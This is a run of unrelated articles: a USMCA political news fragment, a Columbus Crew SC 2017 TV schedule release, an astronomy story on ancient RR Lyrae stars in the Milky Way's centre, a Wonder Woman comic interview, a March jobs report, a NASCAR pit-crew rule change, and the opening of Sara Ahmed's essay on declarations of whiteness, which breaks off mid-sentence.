Read: Senate GOP's controversial Biden report MORE (R-Iowa), chairman of the Senate Finance Committee, pledged to block a vote to ratify the USMCA unless Trump lifted tariffs on Canadian and Mexican steel and aluminum. But the president still faces long odds in getting the USMCA through the House, where Democrats are largely opposed to the deal. Top Democratic lawmakers, including Speaker Nancy Pelosi Nancy PelosiHoyer: House should vote on COVID-19 aid — with or without a bipartisan deal Ruth Bader Ginsburg lies in repose at Supreme Court McCarthy threatens motion to oust Pelosi if she moves forward with impeachment MORE (Calif.), say the USMCA must include tighter labor and environmental standards to win support from the party.

COLUMBUS – Columbus Crew SC today announced its 2017 television broadcast schedule, which includes a renewal of its simulcast television partnership for the 2017 Major League Soccer season. The 2017 television package once again features each of the 32 regionally televised Crew SC matches on a broadcast station in Columbus as well as Spectrum Sports throughout its regional subscription base in Ohio. The two additional regular-season matches will be televised nationally with one on ESPN and one on UniMas. Crew SC’s regionally televised matches will also be simulcast on BCSN2 for Buckeye Broadband subscribers in the Toledo and Sandusky, Ohio areas. As part of the arrangement, there will once again be no territory restrictions and continues to guarantee that Black & Gold supporters, regardless of location within North America, will have the ability to watch all of Crew SC's regionally televised matches this year. Viewers will have the option to catch all regionally televised Crew SC matches in multiple ways. Regionally televised matches will be available on one of the following local broadcast stations: The CW Columbus, ABC-6, FOX-28, or MyTVColumbus. In addition, all regionally televised matches will be simulcast on Spectrum Sports on channel 1311HD and channel 311 in Ohio as well as channel 510 in Columbus and Northern Kentucky. The CW Columbus (WWHO-53) will serve as the flagship over-the-air station for Crew SC regionally televised matches and is expected to air 25 matches in 2017. Spectrum Sports is the cable television home of Crew SC in Columbus and across the entire Spectrum Sports footprint in Ohio, Northern Kentucky and Western Pennsylvania. Subscribers to MLS Direct Kick via cable or satellite provider or MLS Live on digital platforms will have access to all regionally televised Crew SC matches with no local territory restrictions. BCSN and BCSN2 are available on HD on channels 608 and 609 as well as on channel 109 in the Greater Toledo area. All 927,040 television viewing households in Ohio’s capital city have the option to watch regionally televised Crew SC matches on a Columbus broadcast station, Spectrum Sports, MLS Direct Kick or MLS Live. Outside Columbus, supporters within the Spectrum Sports footprint can access the action via Spectrum Sports, MLS Direct Kick or MLS Live in addition to BCSN2 for Buckeye Broadband subscribers in the Toledo and Sandusky, Ohio areas. Columbus viewers will have access to all 32 regionally televised 2017 Crew SC matches via simulcast on local broadcast stations, with 25 contests airing live and in HD on The CW Columbus. Crew SC is scheduled to make two appearances on the Columbus ABC affiliate (WSYX ABC-6), one appearance on the Columbus FOX affiliate (WTTE FOX-28) and four scheduled appearances on MyTVColumbus (WSYX-6.2). Some Columbus area viewers may require an antenna to view the four scheduled MyTVColumbus broadcasts. Spectrum Sports is set to provide the most comprehensive Crew SC coverage on television. Additional and exclusive Crew SC shoulder programming, including 30-minute pre-match and post-match shows, as well as the weekly 30-minute "Access Crew SC" magazine program, is set to air on Spectrum Sports. Crew SC opens the 2017 campaign at home on Saturday, March 4 at 2 p.m. ET. Crew SC Matchday – the special pre-match show – begins exclusively on Spectrum Sports at 1:30 p.m. ET, with the match airing at 2:00 p.m. ET, simulcast on ABC-6 in Columbus and Spectrum Sports throughout Ohio. Post-match coverage of the MAPFRE Stadium Opening Match, presented by MAPFRE Insurance, is set to follow exclusively on Spectrum Sports in Ohio. The partnership also sees the return of Neil Sika and Dwight Burgess to the Crew SC broadcast booth, with Sika on play-by-play and Burgess providing analysis. Sika is set to begin his 11th complete season with Crew SC after joining the club's radio coverage full-time in 2007. Burgess, now the Head Soccer Coach at Wittenberg University, returns for his 22nd season on the microphone, bringing more than three decades of soccer-specific broadcast experience. The duo served as co-hosts during last season's Crew SC television coverage on Spectrum Sports. Spectrum Sports’ Marisa Contipelli will join ABC-6/FOX-28’s Clay Hall and ColumbusCrewSC.com’s Alex Stec on the talent team. Hall, who will once again provide sideline coverage for select matches, is the Sports Director of ABC-6 and FOX-28. He has covered Central Ohio sports for 17 years and helped ABC-6 and FOX-28 to be named Best Sports Operation in Ohio by the Associated Press on two occasions (2001, 2010). He and the sports team also won a regional Emmy Award for Ohio State pre-game coverage in 2003. Contipelli is set to return to the broadcast and has worked as a Video Journalist, Associate Producer and Sideline Reporter for Spectrum Sports since 2014 and also serves as the in-arena host for Ohio State University men’s basketball. Prior to coming to Columbus, she worked for SportsTime Ohio in Cleveland and also was the Cleveland Indians’ In-Game Host. Stec once again is set to provide sideline coverage for select home matches in addition to continuing to provide content for ColumbusCrewSC.com. She joined Crew SC as the club’s Brand Journalist in 2015 from Fox Sports SportsTime Ohio and Fox Sports Ohio, where she worked as a Production Assistant and a Freelance Video Editor, respectively. She has reported on multiple sports for live broadcasts, including high-profile events such as the 2015 OHSAA Girls’ Basketball State Championships, high school football games, SportsTime Ohio updates and interview packages for the Cleveland Indians. The club will also have all 34 matches broadcast via English and Spanish radio calls, with further details on 2017 partnerships to be announced in the near future. Crew SC will next face tournament-host Charleston Battery on Wednesday (5 p.m. ET) before closing the Carolina Challenge Cup against the defending MLS Cup champion Seattle Sounders on Saturday (4:30 p.m. ET). The 2017 Major League Soccer opens on March 4 against the Chicago Fire at MAPFRE Stadium, presented by MAPFRE Insurance. The full Crew SC preseason and regular schedule can be downloaded and synced on iOS and Android devices.

The plane of our Galaxy as seen in infrared light from the WISE satellite. The bulge is a distinct component and most of its mass resides in a boxy/peanut bulge, which is in cylindrical rotation. An ancient population, estimated to be 1% of the mass of the bulge, has been detected kinematically detected in the inner Milky Way and does not cylindrically. Instead, this population is likely to have been one of the first parts of the Milky Way to form. Credit: NOAO/AURA/NSF/AIP/A. Kunder An international team of astronomers led by Dr. Andrea Kunder of the Leibniz Institute for Astrophysics Potsdam (AIP) in Germany has discovered that the central 2000 light years within the Milky Way Galaxy hosts an ancient population of stars. These stars are more than 10 billion years old and their orbits in space preserve the early history of the formation of the Milky Way. For the first time the team kinematically disentangled this ancient component from the stellar population that currently dominates the mass of the central Galaxy. The astronomers used the AAOmega spectrograph on the Anglo Australian Telescope near Siding Spring, Australia, and focused on a well-known and ancient class of stars, called RR Lyrae variables. These stars pulsate in brightness roughly once a day, which make them more challenging to study than their static counterparts, but they have the advantage of being "standard candles". RR Lyrae stars allow exact distance estimations and are found only in stellar populations more than 10 billion years old, for example, in ancient halo globular clusters. The velocities of hundreds of stars were simultaneously recorded toward the constellation of Sagittarius over an area of the sky larger than the full moon. The team therefore was able to use the age stamp on the stars to explore the conditions in the central part of our Milky Way when it was formed. Just as London and Paris are built on more ancient Roman or even older remains, our Milky Way galaxy also has multiple generations of stars that span the time from its formation to the present. Since heavy elements, referred to by astronomers as "metals", are brewed in stars, subsequent stellar generations become more and more metal-rich. Therefore, the most ancient components of our Milky Way are expected to be metal-poor stars. Most of our Galaxy's central regions are dominated by metal-rich stars, meaning that they have approximately the same metal content as our Sun, and are arrayed in a football-shaped structure called the "bar". These stars in the bar were found to orbit in roughly the same direction around the Galactic Centre. Hydrogen gas in the Milky Way also follows this rotation. Hence it was widely believed that all stars in the centre would rotate in this way. But to the astronomers' astonishment, the RR Lyrae stars do not follow football-shaped orbits, but have large random motions more consistent with their having formed at a great distance from the centre of the Milky Way. "We expected to find that these stars rotate just like the rest of the bar" states lead investigator Kunder. Coauthor Juntai Shen of the Shanghai Astronomical Observatory adds, "They account for only one percent of the total mass of the bar, but this even more ancient population of stars appears to have a completely different origin than other stars there, consistent with having been one of the first parts of the Milky Way to form." The RR Lyrae stars are moving targets - their pulsations result in changes in their apparent velocity over the course of a day. The team accounted for this, and was able to show that the velocity dispersion or random motion of the RR Lyrae star population was very high relative to the other stars in the Milky Way's center. The next steps will be to measure the exact metal content of the RR Lyrae population, which gives additional clues to the history of the stars, and enhance by three or four times the number of stars studied, that presently stands at almost 1000. Explore further Starry surprise in the bulge: encounter of a halo passerby More information: Before the Bar: Kinematic Detection of A Spheroidal Metal-Poor Bulge Component. Volume 821, Number 2. arxiv.org/abs/1603.06578 Before the Bar: Kinematic Detection of A Spheroidal Metal-Poor Bulge Component. Volume 821, Number 2. iopscience.iop.org/article/10. … -8205/821/2/L25/meta Provided by Leibniz-Institut für Astrophysik Potsdam

On Friday, March 25, even though she doesn't have top billing, Wonder Woman, a.k.a. Diana Prince, will make her big-screen debut in Batman v Superman: Dawn of Justice. It'll be an opportunity for audiences to get reacquainted with an iconic comic book hero — Wonder Woman is the most recognizable comic book superheroine in history — who hasn't gotten a chance to shine in mainstream pop culture the way other Avengers and Justice Leaguers have. And perhaps a new generation of fans will get familiar with her powerful story. It's already happening in the comic books. Earlier this year, DC Comics launched The Legend of Wonder Woman, a digital-first comic (meaning the comic is initially published in digital form and then, if it's successful, published in print form) from writer-artist Renae De Liz and her husband, Ray Dillon. It's a disarming, earnest, and entertaining read that reimagines and reintroduces Wonder Woman's origin story in a way that appeals to both established fans of the character and readers who are discovering her for the first time. I caught up with Renae and Ray to talk about the comic, their goals in writing it, and what Wonder Woman means to them. Alex Abad-Santos: What's the goal for The Legend of Wonder Woman? When you were tasked with creating this comic about such a well-known character, what was the one thing you wanted to get across? Renae De Liz: I wanted to help the next generation of readers find Wonder Woman and love her, in a way that doesn't talk down to them or exclude current readers. I wanted to show another way to approach the character that was true to her roots and celebrates Wonder Woman without fundamentally changing who she is. Ray Dillon: Really, I wanted to love and know Wonder Woman. Of course I wanted other people to like it and [for it to be] a book that kids could also get into, but as someone who always thought Wonder Woman was awesome and iconic I realized I didn't really know much about her. This series has definitely changed that! AAS: Recently on Twitter, you talked about The Legend of Wonder Woman getting an Everyone rating, which means it's approved for young readers. Why was that so important for you? RDL: I feel Wonder Woman should have stories accessible to everyone. Wonder Woman is the example of female strength and equality, and has been since her beginnings. These messages can now be shared with the younger crowd. I am proud of the E rating, as it takes extra work to achieve it, and even if I reach just one young person with a newfound love of Wonder Woman, then I will be happy. RD: I’m happy The Legend of Wonder Woman can now be enjoyed by everyone. Don’t get me wrong, dark and gritty comics have their place, and some of my favorite comics are dark and gritty, but that doesn't have to be every book. We can have fun, adventure, fantasy, heroics, someone for us to look up to and inspire kids. Just because a book works for kids too doesn't mean it's childish. And books don't have to all be rated R and exclude kids from the audience. We need the next generation. And personally, I'd like to have more fun reading. AAS: One of the things that's fascinated me about Wonder Woman was her origin story and how some people find it tricky. How did you approach that? RDL: For me, Wonder Woman is simple because she is a hero who stands for truth and justice, and she's a shining example of female strength. Her origin has basic steps to follow, same as any other hero. However, Wonder Woman can be perceived as tricky because of heightened expectations and perceptions surrounding Wonder Woman, feminism, strength, and what many think a superhero's story should look like. I tried very hard to focus on the character first, to [focus on] what makes her shine on her own. Whether I am successful in my delivery or not, I believe the approach I'm going for is the correct one for the character, and I can only hope I've done the character justice. RD: I know anytime I had a chance to give the book a bright, colorful, heroic feel, I tried to do that. I tried to apply a lot of mood to it to make the world of Wonder Woman feel as important and vast as it should. AAS: How does placing the story at the turn of World War II change the Wonder Woman story you tell? Does it change it all? RDL: I think it reinforces Wonder Woman's place as one of the first and most important heroes, and her place in the Trinity. It returns her to the era [William] Marston created her in, and strengthens her as a critical pillar of the DC Universe. It felt right to me. One of the assumptions I don't agree with is that you must place a hero in the modern day in order to relate to this generation. That is placing too much power on the technology and other peripheral experiences, and not giving value to the capabilities of readers to relate beyond their cellphones and computers. We all can relate, no matter what era, in those human moments. The ones that reach the heart. From a storytelling standpoint, I felt it important for Diana to see the world at one of its darkest times. To see the extreme cruelty in the world and still decide to love and protect it. RD: I thought that was a fantastic idea Renae had. [It] made Wonder Woman even more important to me. She's been around longer and even seen world war. I loved seeing this be a period piece, and Renae nailed the feel of it. I tried to do my best to make it feel nostalgic of the times, too. AAS: Etta Candy, Wonder Woman's best friend, is a pivotal, hilarious character in the comic. Can you talk about her? What place does Etta have in Wonder Woman's life? RDL: Etta is critical to Diana and Wonder Woman's development, and vice versa. Diana is pretty serious and dutiful. She puts her own life on hold in order to help others, which you can see as a child when she chooses to attend to her duties rather than play with other kids. Etta is almost the exact opposite. She is bold and fun. She always speaks her mind, is a little self-absorbed and in constant pursuit of glitz and glamour. However, like Diana, she also deeply cares for others and is ready to leap into action to do what needs to be done. This is where they truly connect. They are the perfectly balanced friendship, each having something to teach the other. I very much enjoyed creating their story and would love to tell it in its entirety in future volumes. RD: Etta's role is being amazing. AAS: What's the one thing that separates Wonder Woman from the other amazing heroes in the DC Universe? RDL: I think it is two major things. As I mentioned before, Wonder Woman stands for the equality of all, so the sadly volatile perception of feminism today transcends her to a status with people that is more important and special than most other heroes. But beyond her gender, she is a character who shows the strength of love for the world in the most powerful way. It disarms us all and makes us want to be better. There is no other character like her. RD: She feels the most experienced to me. From her life on the magical realm of Themyscira to traveling to a completely new world, fighting in WWII, and saving the world before other heroes even existed. And if we get to do future books, you'll see how much more from all around the world she's experienced. AAS: What kind of feedback have you received about the comic so far? RDL: I've seen happiness that Diana is getting such a focused effort on her origins, and gratefulness that some of her classic elements are returning. I've gotten a ton of messages from parents on how wonderful it was to have a Wonder Woman series they can enjoy with their children, and those are the ones who make me feel all the hard work was worth it. There has not been too much negative, thankfully, but obviously now that I've said that I've jinxed the whole thing! RD: My favorite part, and something that has made me care even more about working on this than I already did, is seeing people just absolutely love it. Like, it really means something to them. And seeing it shared with kids — and girls in particular. I truly hope we've done a good enough job that little girls have a role model to look up to in this book. Pretty awesome seeing big bearded dudes loving it too. It's a diverse fan base, and we love them all! AAS: Finally, we should totally be rooting for Diana in Batman v Superman, right? RDL: Of course! She would be the one to rise above all the nonsense and do what needs to be done. That's something to always root for. Go Wonder Woman! RD: I am. Superman and Batman fighting each other is silly. Knock it off, guys. You're superheroes. Diana, tell 'em what for! The next issue of The Legend of Wonder Woman will be available on Thursday.

Text size The U.S. added just 98,000 jobs last month, according to the Labor Department’s employment report. That was far less than last month's 235,000 and also lower than the official consensus forecast for 180,000 new jobs. It was the smallest increase since May 2016. An even bigger surprise: The unemployment rate fell to 4.5%, the lowest level since May 2007. It was expected to stay at 4.7% in March. The labor force participation rate stayed at 63%. This rate comes from a survey of households and indicates a sharp increase in employment. Thomas Simons of Jefferies suggests it may be the more accurate report and the establishment survey, from which the payrolls figure is derived, may have been marred by weather effects. Average hourly earnings grew 02.%, as expected. That's a 2.7% increase from a year ago. Treasuries initially rallied sharply in response to the weaker-than-expected headline number. The yield on the benchmark 10-year Treasury got as low as 2.27% shortly after the report, the lowest level since mid-March. Treasury rates were already lower following U.S. missile strikes on Syria late Thursday night. By 9:20 a.m., the rate had climbed back to 2.32%, according to Tradeweb. Stock futures, which had been flat, pointed to a lower open after the report. Ian Lyngen and Aaron Kohli of BMO Capital Markets wrote to clients: We struggle to imagine this move doesn't have legs and we'll be watching for a test of 2.25% -- note that the 2.27% channel bottom has held. We don't want to go home short over the weekend given the Syria event-risk. Job gains in both January and February were revised lower, compounding the miss. Peter Boockvar of The Lindsey Group provides multi-year context. He writes: The 3 month trend of 178k is really not much different than the 187k average seen in 2016 and just confirms the slowing we’ve seen over the past few years. Monthly job gains averaged 226k in 2015 and 250k back in 2014. He believes job creation was contrained by low supply of workers qualified to fill available jobs. He puts economic growth at around just 1% since the recent job increases aren't enough to boost growth. But many economists believe the weak number won't be enough to deter the Fed from its plan to hike rates two more times this year. Gus Faucher of PNC writes: The Federal Open Market Committee is likely to regard the weak March number as an aberration. The next increase in the federal funds rate will come in June, when the FOMC will push the rate up by a quarter of a percentage point to a range of 1.00 to 1.25 percent. While the lower job creation number indicates slowing growth, economists saw evidence that the number may not be as weak as it seems. The warm weather in February may have pulled forward some construction jobs that normally wouldn't have been added until the March report. Mark Hamrick of Bankrate.com explains: The goods-producing sector mostly failed to show up in the latest report. Construction employment slowed in March with 6,000 jobs added after nearly 10 times that number reported hired the month before. Weather may have whipped some of these numbers around a bit. Manufacturing hiring also appears to have lost momentum last month. "It would not be a surprise to see a strong bounce back in April, as well as upward revisions to the March figure," commented National Association of Federally-Insured Credit Unions Chief Economist Curt Long.

Mike Hembree Special for USA TODAY Sports NASCAR pit roads will have a different look next season. Pit crew numbers in NASCAR’s three national series will be reduced from six to five for 2018, a change primarily designed to improve parity in the sport, NASCAR executive vice president Steve O’Donnell said Wednesday. The over-the-wall pit crew reduction is part of a multi-layered change. There also will be limits on workers in two other categories, defined by NASCAR as “organizational” and “road crew.” The organizational category includes competition directors, team managers, technical directors and similar positions. Teams with one- or two-car operations will be allotted three roster spots for organizational personnel. Teams with three or four cars can have four. The road crew category includes crew chief, car chief, mechanics, engine tuners, tire specialists and similar jobs. The Monster Energy NASCAR Cup Series’ limit is 12. Truex Jr.:NASCAR title caps dramatic season Kenseth:Leaves legacy of admiration, friendship, success In an effort to spotlight the work of pit crew members, each over-the-wall team member will be required to wear a uniform number. Additionally, the team’s refueler will no longer be allowed to perform other duties — such as helping with tires or making chassis adjustments — during pit stops. "The drive toward parity is to have more teams have the ability to win,” O’Donnell said. “We want everybody to have the same amount of resources at the track. And we want to put focus on other team members, as well.” In recent seasons, pit stops generally have been in the 11-12-second range. O’Donnell said the reduction in crew size shouldn’t have a big impact on time spent in the pits. "These teams are experts at what they do,” he said. “I think it will present some different challenges in terms of how teams approach it. That’s one of the beauties of this — we’ll see more innovation. The stops might be a little slower, but I wouldn’t anticipate anything drastic.”

Declarations of Whiteness: The Non-Performativity of Anti-Racism Sara Ahmed The University of Lancaster This paper examines six different modes for declaring whiteness used within academic writing, public culture and government policy, arguing that such declarations are non-performative: they do not do what they say. The paper offers a general critique of the mode of declaration, in which 'admissions' of 'bad practice' are taken up as signs of 'good practice', as well as a more specific critique of how whiteness studies constitutes itself through such declarations. The declarative mode involves a fantasy of transcendence in which 'what' is transcended is the very 'thing' admitted to in the declaration (for example, if we are say that we are racists, then we are not racists, as racists do not know they are racists). By investigating declarative speech acts, the paper offers a critique of the self-reflexive turn in whiteness studies, suggesting that we should not rush too quickly beyond the exposure of racism by turning towards whiteness as a marked category, by identifying 'what white people can do' , by describing good practice, or even by assuming that whiteness studies can provide the conditions of anti-racism. Declarations of whiteness could be described as ''unhappy performatives', the conditions are not in place that would allow such declarations to do what they say. 1. It has become commonplace for whiteness to be represented as invisible, as the unseen or the unmarked, as a non-colour, the absent presence or hidden referent, against which all other colours are measured as forms of deviance (Frankenberg 1993; Dyer 1997). But of course whiteness is only invisible for those who inhabit it. For those who don’t, it is hard not to see whiteness; it even seems everywhere. Seeing whiteness is about living its effects, as effects that allow white bodies to extend into spaces that have already taken their shape, spaces in which black bodies stand out, stand apart, unless they pass, which means passing through space by passing as white. Writing about whiteness as a non-white person (a ‘non’ that is named differently, or transformed into positive content differently, depending on where I am, who I am with, what I do) is not writing about something that is ‘outside’ the structure of my ordinary experience, even my sense of ‘life as usual’, shaped as it is by the comings and goings of different bodies. And so writing about whiteness is difficult, and I have always been reluctant to do it. The difficulty may come in part from a sense that the project of making whiteness visible only makes sense from the point of view of those for whom it is invisible. 2. This difficulty might explain my reluctance to embrace whiteness studies as a political project, even in its critical form. At the same time, I am aware that we can construct different genealogies of whiteness studies, and our starting points would be different. My starting point would always be the work of Black feminists, especially Audre Lorde, whose book Sister Outsider, reminds us of exactly why studying whiteness is necessary for anti-racism. Any critical genealogy of whiteness studies, for me, must begin with the direct political address of Black feminists such as Lorde, rather than later work by white academics on representations of whiteness or on how white people experience their whiteness (Frankenburg 1993, Dyer 1997). This is not to say such work is not important. But such work needs to be framed as following from the earlier critique. Whiteness studies, that is, if it is to be more than ‘about’ whiteness, begins with the Black critique of how whiteness works as a form of racial privilege, as well as the effects of that privilege on the bodies of those who are recogised as black. As Lorde shows us, the production of whiteness works precisely by assigning race to others: to study whiteness, as a racialised position, is hence already to contest its dominance, how it functions as a ‘mythical norm’ (1984: 116). Whiteness studies makes that which is invisible visible: though for non-whites, the project has to be described differently: it would be about making what can already be seen, visible in a different way. 3. Whiteness studies is after all deeply invested in producing anti-racist forms of knowledge and pedagogy. In other words, whiteness studies seeks to make whiteness visible insofar as that visibility is seen as contesting the forms of white privilege, which rests on the unmarked and the unremarkable ‘fact’ of being white. But in reading the texts that gather together in the emergence of a field, we can detect an anxiety about the status or function of this anti-racism. The anxiety is first an anxiety about what it means to transform whiteness studies into a field. If whiteness becomes a field of study, then there is clearly a risk that whiteness itself will be transformed into an object. Or if whiteness assumes integrity as an object of study, as being ‘something’ that we can track or follow across time and space, then whiteness would become a fetish, cut off from histories of production and circulation. Richard Dyer for instance admits to being disturbed by the very idea of what he calls white studies: ‘My blood runs cold at the thought that talking about whiteness could lead to the development of something called ‘White Studies’ (1997, 10). Or as Fine, Weis, Powell and Wong explain: ‘we worry that in our desire to create spaces to speak, intellectually or empirically, about whiteness, we may have reified whiteness as a fixed category of experience; that we have allowed it to be treated as a monolith, in the singular, as an "essential something"’ (1997, xi). 4. The risk of transforming whiteness into ‘an essential something’ might be a necessary risk, for sure. We have to choose whether it’s a risk worth taking. But the risk does not exist independently of other risks. The anxiety about transforming whiteness into ‘an essential something’ gets stuck to other anxieties about what whiteness studies might do. One of these anxieties is that whiteness studies will sustain whiteness at the centre of intellectual inquiry, however haunted by absence, lack and emptiness. As Ruth Frankenburg asks ‘why talk about whiteness, given the risk that by undertaking intellectual work on whiteness one might contribute to processes of recentering rather than decentering it, as well as reifying the term, and its "inhabitants"’ (1997, 1). 5. Another risk is that in centering on whiteness, whiteness studies might become a discourse of love, which would sustain the narcissism that elevates whiteness into a social and bodily ideal. The reading of whiteness as a form of narcissism is of course well established. The ‘whiteness’ of academic disciplines, including philosophy and anthropology has been subject to devastating critiques (see, for examples, Mills 1998; Asad 1973). For example, a postcolonial critique of anthropology would argue that the anthropological desire to know the other functioned as a form of narcissism: the other functioned as a mirror, a device to reflect the anthropological gaze back to itself, showing the white face of anthropology in the very display of the colour of difference. So if disciplines are in a way already about whiteness, showing the face of the white subject, then it follows that whiteness studies sustains the direction or orientation of this gaze, whilst removing the ‘detour’ provided by the reflection of the other. Whiteness studies could even become a spectacle of pure self-reflection, augmented by an insistence that whiteness ‘is an identity too’. Does whiteness studies function as a narcissism in which the loved object returns us to the subject as the origin of love? We do after all get attached to our objects of study, which might mean that whiteness studies could ‘get stuck’ on whiteness, as that which ‘gives itself’ to itself. Dyer talks about this risk when he admits to another fear: ‘I dread to think that paying attention to whiteness might lead to white people saying they need to get in touch with their whiteness’ (1997, 10). Whiteness studies would here be about white people learning to love their own whiteness, by transforming it into an object that could be loved. 6. Dyer is right, I think, to feel such dread. Whiteness studies is potentially dreadful, and scholarship within the field is full of admissions of anxiety about what whiteness studies ‘could be’ if was allowed to become invested in itself, and its own reproduction. We should I think, pay attention to such critical anxieties, and ask what the enunciation of such anxieties is doing. In terms of the constitution of the field, for example, the anxiety is not so much that the borders will be invaded by inappropriate others (as with traditional disciplines), but that the borders will themselves be inappropriate. But at the same time, and somewhat paradoxically, the anxiety about borders works to install borders: whiteness becomes an object through the expression of anxiety about becoming an object. The repetition of the anxious gesture, that is, gestures toward a field. Fields can be understood, after all, as the forgetting of gestures that are repeated over time. Is there a relationship between the emergence of a field through the enunciation of anxiety and the emergence of a new form of whiteness, an anxious whiteness? Is a whiteness that is anxious about itself – its narcissism, its egoism, its privilege, its self-centeredness – better? What kind of whiteness is a whiteness that is anxious about itself? What does such an anxious whiteness do? 7. Such an anxious whiteness would be different to the ‘worrying’ whiteness that Ghassan Hage critiques in White Nation (1998) and Against Paranoid Nationalism (2003). This worrying whiteness is one that worries that ‘others’ may threaten its existence. An anxious whiteness would be one that is anxious about such worrying: this white subject would come into existence in its very anxiety about the effects it has on others, or even in fear that it is taking something away from others. This white subject might even be anxious about its own tendency to worry about the proximity of others. So let’s repeat my question: is an anxious whiteness that declares its own anxiety about its worry better, where better might even evoke the promise of "non-racism" or "anti-racism? 8. Before posing this question through an analysis of the effects of how whiteness becomes declared, we could first point to the placing of ‘critical’ before ‘whiteness studies’, as a sign of this anxiety. I am myself very attached to being critical, which is after all what all forms of transformative politics will be doing, if they are to be transformative. But I think the ‘critical’ often functions as a place where we deposit our anxieties. We might assume that if we are doing critical whiteness studies, rather than whiteness studies, that we can protect ourselves from doing – or even being seen to do – the wrong kind of whiteness studies. But the word ‘critical’ does not mean the elimination of risk, and nor should it become just a description of what we are doing over here, as opposed to them, over there. 9. I felt my desire to be critical as the site of anxiety when I was involved in writing a race equality policy for the university at which I work in the UK, where I tried to bring what I thought was a fairly critical language of anti-racism into a neo-liberal technique of governance, which we can inadequately describe as diversity management, or the ‘business case’ for diversity. All public organisations in the UK are now required by law to have and implement a race equality policy and action plan, as a result of the Race Relations Amendment Act (2000). My current research is tracking the significance of this policy, in terms of the relationship between the documentation it has generated and social action. Suffice to say here, my own experience of writing a race equality policy, taught me a good lesson, which of course means a hard lesson: the language we think of as critical can easily ‘lend itself’ to the very techniques of governance we critique. So we wrote the document, and the university, along with many others, was praised for its policy, and the Vice-Chancellor was able to congratulate the university on its performance: we did well. A document that documented the racism of the university became usable as a measure of good performance. 10. This story is not simply about assimilation or the risks of the critical being co-opted, which would be a way of framing the story that assumes ‘we’ were innocent and critical until we got misused (in other words, this would maintain the illusion of our own criticalness). Rather, it reminds us that the transformation of ‘the critical’ into a property, as something we have or do, allows ‘the critical’ to become a performance indicator, or a measure of value. The ‘critical’ in ‘critical whiteness studies’ cannot guarantee that it will have effects that are critical, in the sense of challenging relations of power that remain concealed as institutional norms or givens. Indeed, if the critical was used to describe the field, then we would become complicit with the transformation of education into an audit culture, into a culture that measures value through performance. 11. My commentary on the risks of whiteness studies will involve an analysis of how whiteness gets reproduced through being declared, within academic texts, as well public culture. I will hence be reading Whiteness Studies as part of a broader shift towards what we could call a politics of declaration, in which institutions as well as individuals ‘admit’ to forms of bad practice, and in which the ‘admission’ itself becomes seen as good practice. By reading Whiteness Studies in this way, I am not suggesting that it is a symptom of bad practice: rather, I think it is useful to consider ‘turns’ within the academy as having something to do with other cultural turns. The examples are drawn from the UK and Australia, as the two places in which my own anti-racist politics have taken shape. My argument is simple: anti-racism is not performative. I use performative in Austin’s (1975) sense as referring to a particular class of speech. An utterance is performative when it does what it says: ‘the issuing of the utterance is the performing of an action’ (1975, 6). 12. I will suggest that declaring whiteness, or even ‘admitting’ to one’s own racism, when the declaration is assumed to be ‘evidence’ of an anti-racist commitment, does not do what it says. In other words, putting whiteness into speech, as an object to be spoken about, however critically, is not an anti-racist action, and nor does it necessarily commit a state, institution or person to a form of action that we could describe as anti-racist. To put this more strongly, I will show how declaring one’s whiteness, even as part of a project of social critique, can reproduce white privilege in ways that are ‘unforeseen’. Of course, this is not to reduce whiteness studies to the reproduction of whiteness, even if that is what it can do. As Mike Hill suggests: ‘I cannot know in advance whether white critique will prove politically worthwhile, whether in the end it will be a friendlier ghost than before or will display the same stealth narcissism that feminists of color labeled a white problem in the late 1970s’ (1997, 10). Declaration 1 I /we must be seen to be white 13. I am going to start here, with this declaration that is often made within texts that are part of the genealogy of ‘critical whiteness studies’, as its one that’s familiar. Let’s take Richard Dyer, whose work has been important and crucial: ‘Whites must be seen to be white, yet whiteness consists in invisible properties, and whiteness as power is maintained by being unseen’ (1997, 45). This ‘must be seen’ is a curious form of utterance. Partly, it is pointing to how whiteness rests on the very existence of white bodies, which ‘can be seen’ as apart from other bodies. So Dyer shows us a paradox: there must be white bodies (it must be possible to see such bodies as white bodies), and yet the power of whiteness is that we don’t see those bodies as white bodies. We just see them as bodies: the history of whiteness can be traced through its disappearance as a bodily or cultural attribute. But the utterance not only describes a paradox, it also functions as a declaration that takes the form: ‘Whites must be seen to be white’. As a declaration, this sentence would operate as a call for action: we should see whites as whites. You only call for an action when the action is not something that occurs in the present. So the statement is also a claim about the present: whiteness is unseen, and this invisibility is how whiteness gets reproduced as the unmarked mark of the human. 14. This book, which is, after all, white (by name and in colour) is about ‘seeing’ whiteness in cultural forms such as cinema. So we could say it ‘sees’ what it describes as ‘unseen’. The claim to see whiteness works through a description of whiteness as having properties, as a colour: ‘whiteness consists in invisible properties’. Whiteness as a racialised position becomes ‘like’ the colour white: an absence of colour in itself. The transformation of invisibility into a property clearly involves reification. It is easy and not necessarily very helpful to point out where texts reify the categories they seek to critique. What we need to ask here is what are the effects of the reification; is the transformation of whiteness into that which ‘is’ (invisible) an effect of how whiteness is being declared? In other words, does the request that we see white people as ‘being white’ ironically make whiteness ‘invisible’, or at least maintain this invisibility? I can repeat a sentence I used in my opening paragraph: Whiteness is only invisible to those who inhabit it. To those who don’t, the power of whiteness is maintained by being seen; we see it everywhere, in the casualness of white bodies in spaces, crowded in parks, meetings, in white bodies that are displayed in films and advertisements, in white laws that talk about white experiences, in ideas of the family made up of clean white bodies. I see those bodies as white, not human. 15. The declaration that we must see whiteness, which could even be described as foundational within whiteness studies, assumes that whiteness is unseen in the first place. It is hence an exercise in white seeing, which does not have ‘others’ in view, those who are witness to the very forms of whiteness, daily. Of course, White does not claim not to be an exercise in white seeing. But by transforming what it sees into a property of things, the power of this gaze seems to disappear from its view. Calling for whiteness to be seen can exercise rather than challenge white privilege, as the power to transform one’s vision into a property or attribute of something or somebody. 16. I would also argue that if whiteness is defined as ‘unseen’, and the book ‘sees’ whiteness (in this or that film), then the book could even be constructed as not white (or not white in the same way). In other words, the argument that we must see whiteness because whiteness is unseen can convert into a declaration of not being subject to whiteness or even a white subject (‘if I see whiteness, then I am not white, as whites don’t see their whiteness’). Perhaps this fantasy of transcendence is the privilege afforded by whiteness, as a privilege which disappears from sight when it has itself in view. Now, it is important to state here that I am not locating the fantasy of transcendence in this book, which is one that avoids transforming whiteness into ‘another identity’. Rather, I would suggest that when Dyer’s text is read as a declaration (‘we must see whiteness’), and indeed when whiteness studies becomes a declaration about whiteness, then it constitutes its subject as transcending its object in the moment it sees or apprehends itself as the object (being white). Declaration 2 I am/we are racist 17. This might be a less familiar mode for declaring whiteness. But it is an intriguing mode. In the UK, the language of institutional racism has become part of institutional language. We 